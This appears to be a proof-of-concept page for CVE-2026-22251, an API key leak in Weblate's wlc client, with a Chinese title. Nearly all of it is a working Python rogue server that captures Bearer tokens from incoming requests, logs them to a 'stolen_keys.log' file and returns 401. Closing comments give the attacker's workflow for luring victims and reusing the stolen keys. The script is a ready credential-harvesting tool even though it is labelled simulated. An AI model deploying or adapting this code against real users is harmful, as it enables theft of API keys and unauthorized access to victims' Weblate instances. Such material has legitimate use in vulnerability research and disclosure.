CVE-2026-22251 Weblate wlc命令客户端API密钥泄露漏洞

# CVE-2026-22251 PoC - Simulated API Key Exfiltration # This PoC demonstrates how wlc client may leak unscoped API keys import http.server import socketserver import json import base64 class ExfilHandler(http.server.BaseHTTPRequestHandler): def do_POST(self): content_length = int(self.headers['Content-Length']) post_data = self.rfile.read(content_length) # Log the exfiltrated data print(f"[+] Received connection from: {self.client_address}") print(f"[+] Headers: {dict(self.headers)}") print(f"[+] Data: {post_data.decode('utf-8', errors='ignore')}") # Extract API key from Authorization header auth_header = self.headers.get('Authorization', '') if auth_header.startswith('Bearer '): api_key = auth_header[7:] print(f"[+] Exfiltrated API Key: {api_key}") with open('stolen_keys.log', 'a') as f: f.write(f"{api_key}\n") self.send_response(401) self.end_headers() self.wfile.write(b'Unauthorized') PORT = 8080 with socketserver.TCPServer(("", PORT), ExfilHandler) as httpd: print(f"[*] Malicious server listening on port {PORT}") print("[*] Waiting for wlc client connections...") httpd.serve_forever() # Attacker workflow: # 1. Set up rogue Weblate server or proxy # 2. Wait for victims with unscoped API keys to connect # 3. Capture the API key from Authorization header # 4. Use stolen key to access victim's legitimate Weblate instance